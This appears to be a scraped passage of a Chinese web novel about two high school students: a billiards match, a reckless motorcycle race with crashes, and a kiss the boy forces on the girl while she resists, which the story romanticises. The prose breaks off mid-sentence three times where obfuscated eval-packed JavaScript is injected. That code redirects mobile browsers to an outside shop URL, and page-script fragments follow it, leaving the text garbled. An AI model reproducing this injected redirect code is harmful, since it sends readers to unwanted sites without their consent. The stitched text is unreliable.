驰路语含歉意:“谢劲舟,不好意思,刚才我太激动了。” 谢劲舟没说话,而是把她拉到一旁跟她讲打球的技巧和方法。 驰路将他的话记在心中,点头表示听懂了,刚想走,却被他拉住。 谢劲舟抚上她的左脸颊,指腹上的纹路刮着她细腻的皮肤,她的身体微微一颤,脸颊如火烧了下。 “谢劲舟,你做什么?”驰路反应过来,连忙偏过头,躲过他。 谢劲舟却不说话,伸手钳制住她的下巴,扳过她的脸,继续抚摸她的脸颊,一下一下地摸,驰路却不安分地挣扎着。 外面喧嚣声四起,但这里是昏暗的无人过道,狭窄逼仄,谢劲舟身材颀长,如一堵墙堵在她面前,把她圈在一方小小的空间里。 他摸她的动作,像极了在摸一只炸毛的猫。 “动什么动,有巧克粉,老子帮你擦掉。”谢劲舟擦掉最后一点巧克粉,才放过她。 驰路听到了一阵响声,来自心房,激烈跳动。 被碰到的脸颊越发滚烫,似野火燎原。 * 接下来的击球,驰路凭着打球技巧和谢劲舟的提点,成功击中所有的大号球。 背头男在她的稳定发挥下,开始慌了,打最后一个小号球时,额头上都是汗,非但没击中目标球,还差点把大号球击落袋中。 最后一颗黑八决定两人胜负,背头男先打,优势明显,结果力道太大,直接把黑八弹出台球框,闹得跟驰路开局时一样的笑话。 不认识他的围观看客发出一阵嘘声,惹得背头男心里直冒火,但又只好憋着。 背头男把黑八放在了一个难打的位置。 该怎么击球才能让黑八落袋,成了驰路的头等难题。 她左右找了找位置,最后在台球桌一角停住。 原本想上前的谢劲舟停住了脚步。 罗子昂在一旁为驰路捏把汗,紧张道:“舟爷,驰妹站这个位置行吗?是不是要再往右边站?” 谢劲舟说:“站现在的位置可以。” 驰路听到了谢劲舟说的话,心里涌起无限的力量,目光坚定地看着母球,抬手推杆,母球朝前滚去,啪嗒一声,两球相撞,黑八落袋。 “哇噢!驰妹牛逼!”罗子昂第一个欢呼叫好,还不忘啪啪鼓掌。 紧接着响起一片掌声,谁都没想到这个看起来乖乖巧巧的女生,在打球时身上的那股劲儿,坚毅果决,毫不拖泥,进入状态后,次次进球。 这次驰路倒有些不敢置信了,她知道最后黑八难打,没想到自己找准的位置、力道都刚刚好。 周围掌声雷动,她的世界却是静止的海洋。 直到她看到谢劲舟朝她伸出双臂时,才猛然惊醒,方才的一切不是梦,而是真真切切地存在着。 她也伸开手,毫不畏惧旁人眼光地抱住了谢劲舟。 他将她搂入怀里,给了她一个结结实实的拥抱。 耳边满是起哄声、口哨声,像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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驰路把脑袋靠在一侧的门边,把手伸出去一些,让夜晚的风尽情地吹过来,感到畅快淋漓,那些恶言恶语都随风飘散。 开了近四十分钟才到达东郊的摩托车行,这里跟小镇风景截然不同,小镇虽然旧了点、破了点,但总归人群熙攘、热闹非凡。 这儿方圆十几里不见人烟,道路两旁栽种着高高瘦瘦的树,树后面是连绵的农田。 拐进摩托车行时经过几个弯道,路旁刷着红白相间的漆,刷得并不归整,有的刷得冒出来,有的没刷全,斑斑驳驳,有种随意的美感。 车行里摆着一溜的摩托车,月光洒在上面,光洁耀眼,一辆辆很酷,其中有一辆深蓝色的,她一眼认出来,是谢劲舟的。 想起了谢劲舟骑在摩托车上的模样,酷得没边。 “驰妹,舟爷在那边,你先去找他。”罗子昂弯腰低头去检查,“这车出了点问题,我要检查看看。” “好。”驰路看到了沉在夜色中的谢劲舟,他穿着蓝白色的车服,正倚靠在一辆深蓝色的摩托车前,拿着手机,身姿慵懒,没骨头似的,透出放荡不羁的劲儿。 他的右边,有几个人正谈笑风生。 他一个人,沉默不语,在辽阔天地间,仿佛活成了一棵孤独的树,屹立人间,却又不食人间烟火。 谁都说他是芳町镇的大佬,谁都不敢惹他,她看过他身边围绕着无数小弟的样子,彼时他叼着烟、单手插兜、眼睛眯起,一副“老子无所不能”的痞帅样。 他看起来被热闹包围,看起来风光无限,只有她看出了,他眼里的孤僻。 他是不合群的那一个,却偏偏夹在热闹人群中,把自己活成了众星捧月的太阳。 此时的他,跟往日相比,越发显得孤独。 没来由地,驰路心间泛起一阵酸涩,像澄澈的水里被挤了几滴柠檬汁。 她朝谢劲舟走去,离他越来越近,他却浑然未觉,仍旧自顾自地玩着手机。 她走到他身侧,踮脚看他在玩什么,屏幕上的蛇越来越长,他正要往左下拐,驰路提醒:“往右。” 谢劲舟手停了下,瞥了驰路一眼。 驰路见贪吃蛇往左游去,急忙摁向屏幕,让贪吃蛇转了方向,往右吃了几块红色糖果,蛇身变长:“往左的话,待会儿尾巴就要甩到墙了。” 谢劲舟继续玩着。 驰路边看边问:“你玩多久了,才到白金?” 谢劲舟掀起眼皮,懒懒地看她:“你要帮老子玩到王者?” “也不是不可以。”驰路看着他玩贪吃蛇的样子,比抄作业时可认真多了。 “你是好学生,马三拍可跟我说了,要让我做你的守护神,老子可不敢把你往深渊里拉。”话说得不太正经,颇有几分玩笑味道。 “就你?”驰路笑了,“你拉不拉我都没关系,我本来就在深渊里。” 谢劲舟手下一顿,蛇撞到墙上,闯关失败,游戏结束。 他关了屏幕,侧头看驰路,看到她狐狸眼里露出一丝不寻常的涟漪。 谢劲舟的声音落在黑寂的夜色里:“在深渊里有什么可怕的,怕的是,你不想从深渊里走出来。如果连你自己都不想走出深渊,你还指望谁拉你上岸?” “舟哥,你要不要拉我一把?”驰路伸手做出想要被人拉上来的姿态,狐狸眼挑了下。 27. 看舟爷惊险赛车 「有个疯子,想要赢,却闯进了暗夜森林。 我偏偏跟着他,无数次地用目光拥抱他的背影。」 ——《小蝴蝶的暗夜》 谢劲舟没动,睨着她。 “不拉就算了。” 驰路刚要缩回手,谢劲舟一把抓住,声音低沉:“你是我谢家的人,我不拉你一把,谁拉你。” 他的手心干燥,温度如常,但碰在驰路的手心里,却像火源烧过,烫得她的心一颤。 驰路用拇指轻轻刮着他的手心,力道之轻,羽毛般扫过,弄得他有些痒,却又忍不住抓住她的手指,让她不要动。 她看到他的眉尾有一道伤痕,新鲜的,长长的一道:“跟人打架了?” 驰路知道上午罗子昂来台球厅找谢劲舟,说是有人被欺负,让谢劲舟赶紧过去看看,估计是帮小弟解围弄伤的。 “嗯。”谢劲舟松开了她的手。 “谢劲舟。”驰路摸着被他握过的地方,温温热热的。 “说。”谢劲舟垂眸看她。 “下次能不能少打架?”驰路望着他深邃的眼睛。 “为什么要管我?” “我不想看到你再受伤。” 谢劲舟漠然的脸上忽然露出一抹笑意:“你这是在关心我?” “作为谢家的一份子,关心你,不是应该的吗。” 谢劲舟没有作答,眼眸深深地望着她,揉了把她的脑袋。 * 比赛前,驰路走上前帮谢劲舟系头盔扣子,边给他系边说:“谢劲舟,我赌你,不会输。” “我们舟爷,怎么可能输!”罗子昂在一旁说。 浩哥也走过来,拍了拍谢劲舟的肩膀:“小谢,待会儿注意些,那小子开车开得野。” 谢劲舟整了整头盔:“我会的,浩哥。” 夜越发黑沉,天边星子零落,忽然刮起风来。 私人赛车场外,只有几个助威的观众,比赛的只有两人,一个谢劲舟,一个号称赛车界骨灰级玩家的陈健。 谢劲舟没喊他的那帮小弟过来,助威观众只有驰路、罗子昂。 陈健那边至少有六七个人,他刚跨上摩托车,他的那帮哥们纷纷喊“健哥加油,健哥必胜”,口号一致,声音洪亮,气势恢宏。 罗子昂听了燃起斗志,跟驰路说:“驰妹,咱们也喊吧,口号是……” 他正想着喊什么口号,驰路说:“舟爷旗开得胜!” “就这个。”罗子昂扯着嗓子喊,“舟爷旗开得胜!” 驰路却一动不动,只静静地望着跨上摩托车的谢劲舟。 罗子昂推了推她的胳膊:“驰妹,喊啊。” “你先喊。” 罗子昂见驰路往车行里跑,有些不明白地挠了挠后脑勺。 直到驰路回来,他才明白她去干吗了。 驰路拿着一个扩音器喇叭喊:“舟爷旗开得胜!” 这是三局两胜的比赛,第一局,两人火力全开,一辆蓝白色摩托车,一辆全红色摩托车,在夜色中厮杀,仿佛两只疾驰的猎豹。 谢劲舟的身体比平时开摩托车时压得更低,速度更快,每个拐弯只稍稍减少马力,时而谢劲舟在前,时而陈健在前,追得特别狠,咬得特别近。 眼见要到最后一圈,谢劲舟落在陈健后面一点,驰路扯着声音大喊:“舟爷旗开得胜!” 她的声音掩盖过给陈健助威的那些声音。 她一声声喊着,仿佛只要这样喊下去,谢劲舟就一定会赢。 快到终点,谢劲舟加速,做最后的冲刺,却没想到陈健一个甩尾,擦着他的摩托车往前冲,将他死死地压在身后。 这人不按常理出牌,用一种近乎野蛮的方式来堵住别人的路,也就是这一下,陈健占了上风,冲向了终点。 谢劲舟听不见喇叭里的声音了,只听得到响起了一溜整齐的“健哥牛X”的男声。 他冲到终点后,看到陈健用小拇指朝他比了个向下的动作,眼睛眯着,脸上满是胜利者的得意。 谢劲舟面色冷冽,朝他比出开手枪的姿势,狠戾之色暴露无遗。 陈健根本不把他放在心上,他知道谢劲舟的名声,大家都传他车技牛逼,今日一看,不错是不错,但少了些野蛮路子,跟他比,还差得远。 杜浩走过来安慰谢劲舟:“小谢,刚才本来你要赢了,是那孙子犯规,给你使绊。” “浩哥,输了就是输了。”这不是什么正规的赛车场,也没有什么规定,谁能冲到终点就算赢。 “舟哥,那小子犯规啊!”罗子昂跑上前,打抱不平道。 他声音大,被旁边陈健那边的人听到:“什么犯规?我们健哥凭本事赢的!” “凭屁的本事!”罗子昂嘀嘀咕咕,面露不满。 对方那人看罗子昂那样格外不爽,上前走到他面前:“你在说什么?” “我……”罗子昂手握成拳,很想揍这人一拳,灭灭他的威风。 但他的手被谢劲舟抓住,谢劲舟眼神冷冷地看着对方的人:“他在跟我说话。” 对方本来想惹点事,见谢劲舟息事宁人的模样,只好悻悻而归。 驰路把这一切看在眼里,跟谢劲舟说:“舟哥,不还有两局,我相信,你可以赢!” 她的眼神格外坚定,仿佛他已是赢家。 谢劲舟看向她时的眼神柔和了些,被月光罩着,仿佛有万千星辰,明亮又闪耀。 * 第二局,两辆车齐齐地停在起跑线前,蓄势待发,谢劲舟眼里惯有的冷漠变成冷戾,像要捕食的猎人,发动摩托车时,轰鸣声响起,划破寂静夜空,也擦过驰路的耳膜。 她拿着喇叭的手心里冒出些许冷汗,明明不是一场属于她的比赛,但最后的结局好像跟她息息相关。 从一开始,谢劲舟便加大了马力,疾驰在风里。 陈健也不甘示弱,紧紧追着,几处拐弯都想玩点花样,超过谢劲舟,但谢劲舟把他死死地锁在身后,让他无法超前。 驰路看出来了,这次的谢劲舟玩法上野了很多,对方想超前,他就拦住,甚至有次车尾差点甩到对方的车头,吓得她不喊加油,目瞪口呆地望着这场充满野路子的危险追逐。 两人都不要命似的往前冲,跑道上尘土飞扬,摩托车的轰鸣声一遍遍地响彻天际。 全程,谢劲舟都把陈健甩在身后,是两辆车无限靠近的距离,只要他稍稍放松警惕,对方便能追上来。 最后一圈,好几次陈健都有想撞上谢劲舟摩托车的意图,次次被谢劲舟避开,有一次擦过车身,谢劲舟一个下压,近乎贴着地面,手肘都擦到了地面,是差点摔倒的姿势。 驰路屏住呼吸,生怕他会就此倒下去。 显然谢劲舟不是第一次遇到这样的状况,他完美地掌控着摩托车,很快正常疾驰。 反倒是陈健因为这次的恶意阻扰,没掌握好力道,重重地摔了下去。 谢劲舟以绝对优势赢得这局。 驰路、罗子昂都在终点一侧等他,等他停下来时,驰路第一个跑上前,拿着喇叭喊:“谢劲舟,你赢了!” “还有一局。”谢劲舟满脸都是汗,胸腔里的那颗心还在剧烈跳动着。 刚才有多险他知道,对方不按常规出牌,他也就顺应变化,野蛮上路。 罗子昂兴奋道:“舟爷,你刚才的几个动作太帅了!” 驰路的兴奋劲头很快过去,帮谢劲舟解开头盔,拿出纸给他擦额头上、脸上的汗,他额头上还沾着少许的头发。 “谢劲舟,第三局不要那么拼了。” “不想我赢?” “不是不想你赢,是希望你能安全地赢。如果你的赢要靠受伤甚至生命来换取,我宁可你现在收手,或者你输。”驰路擦着他左唇角的汗,下面是一颗痣,性格迷人,她看着他那双冷然的双眸,“就算最后你没赢,但在我这儿,你已经赢了。” 她从他的眼眸里看到了燥,看到了疯狂,想起罗子昂跟她说的:“他有双相情感障碍,高一得的,现在的症状比之前轻多了,但没完全好。” 此刻的他,比往日里更显暴躁,仿佛被人惹毛的野兽。 驰路的指腹从他的唇边一直往上移,移到他的太阳穴处才停住,感受到皮肤下方正突突跳动。 她轻轻地揉着,直视着他的眼睛:“答应我,好不好?” 一向倨傲的她,眼里没了傲然,而是祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560744|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求。 曾经,为了在小团体里争输赢,她会全力以赴,哪怕两败俱伤,她也不在乎。 可现在有什么东西在心里悄然萌芽,撼动她曾经那种做什么都必须要赢的念头。 输了又怎样呢,人总不可能时时赢。 芳町三中的扛把子就算输了,也没什么,不是吗? 谢劲舟抓住了她纤细的手腕,眸子里满是尖锐的光,语气透出不容置喙的坚定:“我必须赢!” 驰路知道,她多说无益,便不再说什么,抽开手,把手中浸满汗水的纸巾揉成一团,朝旁边的草丛里狠狠扔去。 * 第三局比第二局厮杀得更厉害,从追逐变成了你追我赶的游戏,谁都不让,谁都擦着危险边缘。 在第二局里,陈健摔伤,谢劲舟车服的右胳膊处被擦破了,胳膊肘被擦破了皮,但这点伤对他来说不算什么,他根本没放在心上,血珠子凝在伤口上。 这局定胜负,两人都开得野,都把速度开到极限值,旁观者都能看得出他俩都想赢。 驰路这次不再拿着喇叭助威,干脆把喇叭扔到一边,罗子昂想要捡起来,她夺走:“罗刺猬,你希望舟哥不要命?” 罗子昂本想反驳几句,但看着谢劲舟开车时的样子,还是把要反驳的话憋了回去。 在一个拐角处,陈健丝毫没减速,想要超过去,结果谢劲舟又把他压在身后,大概惹怒了陈健,陈健干脆加速上前撞谢劲舟的摩托车,两车堪堪擦过。 谢劲舟毫不示弱,重重撞他的摩托车,加速将陈健甩在身后。 陈健没稳住,加速时撞上谢劲舟的摩托车,没能及时下压,整个人被狠狠地甩了出去。 谢劲舟虽及时下压了,奈何速度太快,加上转弯,前轮未能及时摆正,摩托车往下倒去,人车瞬间分离。 驰路看得心惊肉跳,放在身前的手紧紧地绞在一起,暗暗希望谢劲舟没事。 但谢劲舟还是被甩了出去。 时间仿佛静止,两边的拉拉队都没了声音,陈健那方的拉拉队成员赶紧跑去查看陈健的伤情。 陈健被甩出去后,整个人趴在地上一动不动,看来伤势不轻。 谢劲舟好像影响不大,刚落地没几秒,驰路刚想跑过去看,却看到他很快爬了起来,像没事人一样地朝摩托车走去。 驰路看到他的右腿一瘸一瘸地往前走,他受伤了。 可就是受伤的他,依然去扶起摩托车,毫不犹豫地跨上去,踩下油门,发动引擎,轰鸣声再次响起。 驰路被他的举动弄得一怔,那颗提着的心又被往上拽了几分,一直提到了最高点。 等她回神时,才弯腰从地上捡起喇叭,大声喊:“谢劲舟,你停下!你不要命了吗?” 她不知道受伤的他能不能掌握好力度,能不能控制好油门、刹车,内心焦躁不安。 结局毫无疑问,谢劲舟赢了,他这次比上一局开出去还远,等刹车后,他许久都没下车,把脑袋耷在车头上,似乎方才意气风发的不是他,像瞬间委顿下去的野兽。 驰路冲上前,没查看他的伤情,而是把所有的怒气都撒出来,抬手砸着他的背,边砸边用带着哭腔的声音吼:“谢劲舟,你疯了吧!谁要你赢,谁要你赢!” 谢劲舟趴着没动,任由她打,刚才被甩出去时,后背就从地面擦过,一直隐隐作痛,她这连绵不绝的拳头砸上去,疼意更甚。 但只有疼才让他找回自己还活着的真实感,他赢了,不只为自己而战,也为这个砸她的小姑娘而战。 他要让她看到,她的神明所向披靡、无所不能! “驰妹,别打了,你看舟爷的车服都坏了。”罗子昂赶过来劝驰路。 驰路这才反应过来,看他的车服,果然,车服的后面已经被擦破了,他的后背会不会受伤了?而她还在打他。 她赶紧松了拳,焦急地问他:“谢劲舟,你的后背是不是受伤了?” 谢劲舟缓了过来,直起腰来,后背的疼痛感越发强烈,但他连眉头皱都没皱一下。 谢劲舟摘下头盔,目光深沉地看她,看到了她眼里的担忧,似调侃,似正经地说了句:“驰路,你担心我的话,帮我做个全身检查?” 28. 舟爷对你不一般 「我的世界草木皆兵,你是雷霆万钧。 孤勇者的输赢,不用奔波万里,一直在朝着蝴蝶靠近。」 ——《不夜港》 谢劲舟把驰路带到了一个小小的房间,似是仓库,透过小小窗户射进来的光,看到里面摆放着摩托车的零部件,地上油腻腻的,脏且小,还闷热。 他把她压在门边,抬手做出让驰路服侍自己的大佬姿态。 见驰路许久未动,他不由得勾唇:“不敢做全身检查了?” “谁不敢了?”驰路知道他在激她,她本来就经不起激,看到他眼中的戏谑,激发起她心中野蛮放肆的一面。 黑暗中,驰路抬手去拉他车服的拉链,一点一点地往下拉,看到他里面穿了件黑色紧身背心,勾勒出他结实的胸腹。 继续下拉,到头了才停住,又帮他脱掉车服,露出里面的短裤。 驰路不是没看过穿短裤的男人,但面对这样的谢劲舟,她别开了视线,将目光落在他的腰腹间。 他浑身都被汗浸湿,背心贴在身上,能看到隐约的人鱼线,性感诱人。 她想说点什么,打破这让人有些窒息的氛围,手机忽然振动了两下,她打开一看,是江迟给她发的信息,发了好几条,这之前发了两张图片,问她两道题的解法。 现在又给她发,问她是不是睡了,让她晚上把门关好。 言外之意,把门关好,别让不该进来的人进来。 谢劲舟垂眸,将她的信息全数看去,眸光暗下去,舌尖顶了顶后槽牙。 驰路怕江迟再发什么,给他回复了个好的表情。 她没发现谢劲舟的脸色肉眼可见地冷了下去。 等她再次抬头时,尴尬情绪有所缓解,她打开手机上的手电筒,查看他的胳膊,看到他的右胳膊被刮了一道伤痕,上面有凝固的血迹,心猛然紧缩。 “把上衣脱了,我看看。”驰路想看又不想看,语气里带着迟疑。 谢劲舟抬起双臂,一副让她来脱的架势。 驰路从不伺候人,但面对伤员,只好把手机放到口袋里,双手放在他背心的下摆,指尖触到他紧实的腰,心不禁漏跳半拍。 她一点点把他的背心往上撩,他的上身就这么渐渐暴露在她眼前,她看到了他极具男性魅力的性感身体,也看到了他胸前的那一道道诡异的伤痕。 这些伤痕,应该跟她后背的伤痕一样扎手吧。 她把背心扔到一旁,拿出手机看他的后背,看到了他后背上一片一片的红,是擦伤,纵横交错。 驰路想到方才他开摩托车时不要命的场景,他就像亡命之徒,不管生死地往前冲,哪怕摔倒,哪怕腿断了,都要继续完成未完成的赛程。 她抬手抚上他的伤口,只见他的身体微微颤抖了下。 驰路把他后背的伤痕抚遍,心疼、难受、气愤齐齐涌上来。 那颗完好的心却好像支离破碎了,她哑着声音说:“谢劲舟,你为什么要那么疯?你能不能理智些?” “一个陈健至于吗,让你这么疯?你考虑过后果吗?” “你考虑过谢奶奶、小乔吗?” “你要是出事了,你让他们怎么办……你让我怎么办?” 驰路的声音越来越大,越来越哑,甚至带了些哭腔,她绕到他身前,仰头看着他的眼睛,继续控诉他:“你不是说要做我的救世主吗?你要做半身不遂的救世主?” “说完了吗?”谢劲舟盯着她的眼睛,目光深沉似海。 驰路见他面色如常,丝毫不为自己的言语所动,心中的气焰燃烧得更旺,抬手捶着他的胸说:“谢劲舟,你浑蛋!你……” 下一秒,她的手被谢劲舟拽住,要说的话被淹没在他的唇齿间。 一个猝不及防的吻就这么如狂风骤雨般骤然降临。 谢劲舟在她唇上碾磨、啃咬,尽兴后狠狠地探进她的口中,卷走她所有的气息,让她喘不过气。 驰路被弄得措手不及,浑身僵着,心跳加速,被他按在门板上,任由他在她的领地肆意攫取。 忽然间,她似木偶人,丧失了所有的反抗,被动地接受他一波波袭来的吻,独占的、暴烈的、炙热的。 等醒悟过来,她挣扎,他却牢牢地按住她的肩膀,加深了这个吻。 她趁他游走放松之际,伸出利齿,咬住他的舌尖,口腔里溢出了血,但他依然没有放过她,像贪食的野兽,继续发起进攻。 “谢劲舟,你……疯了吧!”驰路被他吻得几乎喘不过气,用尽全身力气,一把将他推开。 “老子就是疯了!”谢劲舟又往前走了一步,将她禁锢在身前,“你以为老子那么想赢是为了什么?” “为什么?”驰路一张嘴,唇齿间全是谢劲舟的气息。 “老子想赢给你看!”谢劲舟捏住她的下巴,看着她红润得不像话的饱满嘴唇,用拇指轻轻一扫,“驰路,就算我受伤了又怎样,老子照样能保护你!” 驰路打掉他的手:“刚才是保护我?” 谢劲舟眯了眯眼睛,目露一丝邪笑:“初吻?” 驰路气愤地瞪他:“你还我!” “现在老子就还给你。”谢劲舟见她委委屈屈的模样,俯身要吻下去。 驰路连忙推开他,抬手照着他的脸用力甩了一巴掌:“不要脸!” 她急忙转身开门跑了出去,心怦怦跳得厉害,仿佛下一秒要跳出胸腔。 刚才黑暗中的那个吻,还占据着她所有的感官,猛烈地流经她的血液,真切地提醒她:她的初吻没了! 她不知道门后的谢劲舟,抬手摸了摸唇角,舌尖的血星子往外冒。 他幽深的眼眸里露出一抹晦暗不明的笑,像成功捕获猎物的野兽。 * 起风了,卷起了地上的尘土,道路两旁的树叶沙沙作响。 没了白日里的燥热,也没了连绵的蝉鸣,世界好像掉进寂静的深潭,驰路处在深潭中心,是冷寂的,也是烦躁的。 回去路上,驰路靠在车框上,离旁边的谢劲舟有点距离,却依然能感到他的体温传了过来,像那个吻一样,炙热、滚烫。 想想都觉得委屈、气愤,那个吻来得莫名其妙,她搞不懂他为什么要那样做,是他临时起意?还是喜欢她? 他喜欢她?这样的念头刚冒出头,很快被她掐灭,怎么可能,他要是喜欢她,地球明天就毁灭。 谢劲舟跟她说的话骤然响起: “老子是赢给你看的!” “驰路,就算我受伤了又能怎样,老子照样能保护你!” 他说这些话是什么意思?仅仅把她当谢家的一份子? 驰路忽然笑了,她想这么多干吗,他的女朋友都是月抛型的,难道她还指望自己成为他月抛型爱情的终结者? 再说,她被流放到芳町镇,学习才是头等大事,想这些破事对前途毫无益处。 驰路转头去看谢劲舟,他看起来熟睡了,一缕月光打在他的侧颜上,半明半暗间,越发衬得他的五官立体。即使睡着,他身上透出的桀骜劲儿还在。 她的视线落在他的唇上,薄薄的,唇线清晰,形状优越,左嘴唇的下方有一颗痣,增添性感。 他跟这里的男生都不一样,不只是长相优越得过分,还有他身上的那股劲儿,像跌在深渊里,却透出想爬出深渊的向上的力量。 睡时安静,醒时疯癫,他像事物的两面,在天使和恶魔间来回切换。 她知道,这样的人,不要惹。 “驰妹,你也别太怪舟爷。”开着蹦蹦车的罗子昂说,“他之前开赛车从不这样。” “这次为什么会这样?” “驰妹,你还看不出来吗?” “看不出来什么?” “舟爷对你不一般。” 窗外的风似乎起得更大了,树影晃动,她好像听到阵阵马蹄声,踏进她的心里,哒哒哒地响。 这个盛夏,注定跟以往的任何一年都不一样。 * 到了医院,谢劲舟那条断了的右腿被夹了夹板,走出来时,颠颠地走着,有种大佬走企鹅步的滑稽感,看得驰路不禁笑了起来。 “笑什么笑!”谢劲舟走到她身前,把胳膊毫不客气地往她肩膀上搭。 进医院时,是罗子昂当谢劲舟的拐杖,他现在是想让她当他的拐杖? 驰路想推开他,他却压着她的肩膀,让她无法挣脱。 驰路抗议:“谢劲舟,你知不知道你很重!” 谢劲舟说得理所应当:“作为谢家人,你不应该照顾我吗?” 罗子昂在一旁煽风点火:“驰妹,以后咱们的舟爷就要麻烦你多多照顾啦!” 谢家上有老、下有小,还有个酗酒界的大佬,都不适合照顾他,现在唯一能照顾他的,也只有她了。 驰路想起自己来芳町镇快一个月,谢劲舟对她冷言冷语过、忽冷忽热过,但更多的是,给了她她想要的。 她从罗子昂那里得知,谢劲舟是他们那帮人里最抠门的,出去饭局基本都是蹭的,他很少为谁花钱,他知道的也只有谢奶奶和小乔。 驰路是他第一个甘愿花钱的女生,买水池、水龙头,为她付高很多的电费。 罗子昂曾跟驰路说过:“驰妹,你在舟爷心里,是特别的,独一份的,哪个女生都比不了。” 彼时,驰路并未放在心上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560745|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别的又怎样?他对她,不过是同住一个屋檐下的照顾。 但后来,他说她要做她的救世主,在她差点被人撕破衣服录下视频时,及时赶到,狠揍欺负她的人,把她抱住怀里,跟她说:“阿驰,舟哥来了,别怕。”“阿驰,从现在起,老子不会让任何人欺负你!” 他真的没再让任何人再欺负她,他成了她名副其实的救世主。 谢劲舟对她不错,她理应在他受伤时挑起照顾他的重担。 驰路没再动,任由他搭在自己肩上,只是肩上的力道越来越轻、越来越轻,最后轻得像是男朋友搭在女朋友肩头的力道,属于刚刚好的暧昧力道。 明明周遭弥漫着消毒水的味道,但驰路只感觉自己的世界里满是谢劲舟的气息,烟味混着皂香,干净又迷人。 她的心,没来由得吹起了热烈的号角。 她像误入一片玫瑰花田,花香四溢,心跳如野草丛生,肆意蔓延。 那时,她还不明了,那是心动的信号。 * 回到栾花巷32号,小二层漆黑一片,大家都睡着了,大概是听到了蹦蹦车的声音,小平房里亮起昏黄小灯,走出来一个佝偻着背的老太太。 “小谢?阿驰?”谢奶奶眯着眼睛朝他们这边瞧,对着黑暗中的两个身影说。 罗子昂开着他的蹦蹦车走了,驰路当着谢劲舟的拐杖,让他把手搭在自己的肩膀上,拆扶着他一步一步地往前挪。 驰路应道:“奶奶。” 谢奶奶见谢劲舟走路不利索,连忙走上前,看着他打着石膏的腿,二话不说,照着他的胳膊就打:“臭小子,你又去哪儿跟人打架了?这下好了,把腿直接打断了!” “奶奶,他腿是走路没注意,从台阶上摔下来的。”驰路照着谢劲舟提前跟她讲好的剧本说,“没什么问题,过两天就好了。” 驰路说得认真,演得用心,谢奶奶开始还生疑,见她那般镇定模样,也就信了:“你们早点睡。小谢,我明天烧点骨头汤给你补补。” 驰路看着谢奶奶只穿了一层单薄的白色背心,把谢奶奶往小屋里推:“奶奶,你也赶紧回屋吧,现在风大,有点凉,别着凉了。” “好的,阿驰。”谢奶奶拿起驰路的一只手,拍了拍她的手背,慈祥道,“阿驰,小谢就辛苦你扶上楼了。” 驰路说:“好的,奶奶。” 她看着谢奶奶枯瘦手背上的脉络,不由得想起自己已故的疼爱她的奶奶,心头一阵微微泛酸。 来这里的这段时间,谢奶奶把她当家人,对她跟对谢劲舟、谢林乔一样,甚至比对他们还好,有什么好吃的也都会留给她,她感受到了前所未有的关心和温暖。 扶谢劲舟上楼的那段路格外难走,他得一跳一跳地往上蹦,跟个兔子似的,一蹦,压在她肩头的力量便猛地一重。 压了几次后,驰路不干了,推开他的胳膊,指着他旁边的墙说:“别扶我了,扶墙。” “刚谁答应奶奶要扶我上楼的?”谢劲舟深邃的眸子朝她一瞥,眉头一挑,“这就要失言了?” 驰路仰头看他:“谢劲舟,你懂不懂怜香惜玉?” “阿驰,”谢劲舟抬手搭到驰路肩头,俯身盯着她的眼睛,“你需要老子怜惜?” 他的呼吸很热,也很烫,火焰一般尽数将她包围,她的心情不自禁地乱跳,却又佯装淡定道:“谢劲舟,怎么说,我也是祖国未来的花朵、芳町三中不可多得的尖子生。” 谢劲舟搭在她肩膀上的手挪到她的下巴上:“叫舟哥,舟哥就怜惜你!” 驰路见他一副吊儿郎当、纨绔不羁的模样,忽然来气:“谢劲舟,你要做什么?” 谢劲舟倒是不慌不忙地问:“你觉得我要做什么?” 他的眼睛还锁着她的目光,似要穿透她的身体。 从那个吻,到现在,他什么都没解释,好像没有发生过。 可那是她的初吻啊! 就那样被他夺走了! 狗东西! 驰路不想理他,完全不想理,拿住他捏自己下巴的手,下嘴狠狠咬了一口,他的虎口处顿时多了一枚月牙形的牙印。 谁都不敢惹这位芳町镇的大佬,可偏偏驰路不买他的账,偏偏要触碰他的逆鳞。 她以为他要揍自己,或者直接把她推下去,弄个半身不遂之类的。 结果,时间像是凝固了,这位大佬看着她,许久没动,只是一直用那双深邃不见底的眼眸看她,半晌才勾起唇角。 这笑在驰路看来,无比瘆人。 以为他要对自己有所动作,但他什么都没做,俯身在她耳畔说:“小猫,你就这点劲?” “……” 29. 他的残破像哀歌 「我做了一场梦,梦里有肆虐的风、急骤的吻。 醒了,发现不是梦。 是你给的真实。 像头顶悬着的烈日,让人无法正视。」 ——《小蝴蝶的盛夏》 那晚,驰路没再继续当谢劲舟的拐杖,匆匆回了房间,周身好像一直都萦绕着他的气息,那般滚烫,直烧到她的心底。 她没谈过恋爱,不知爱情的滋味,但她听安然说过“喜欢一个人,是会脸红心跳的,会感觉胸腔里的那颗心是鲜活的、生猛的,仿佛不再是你的”。 现在的她,为什么会出现这样的感觉?难道她喜欢谢劲舟? 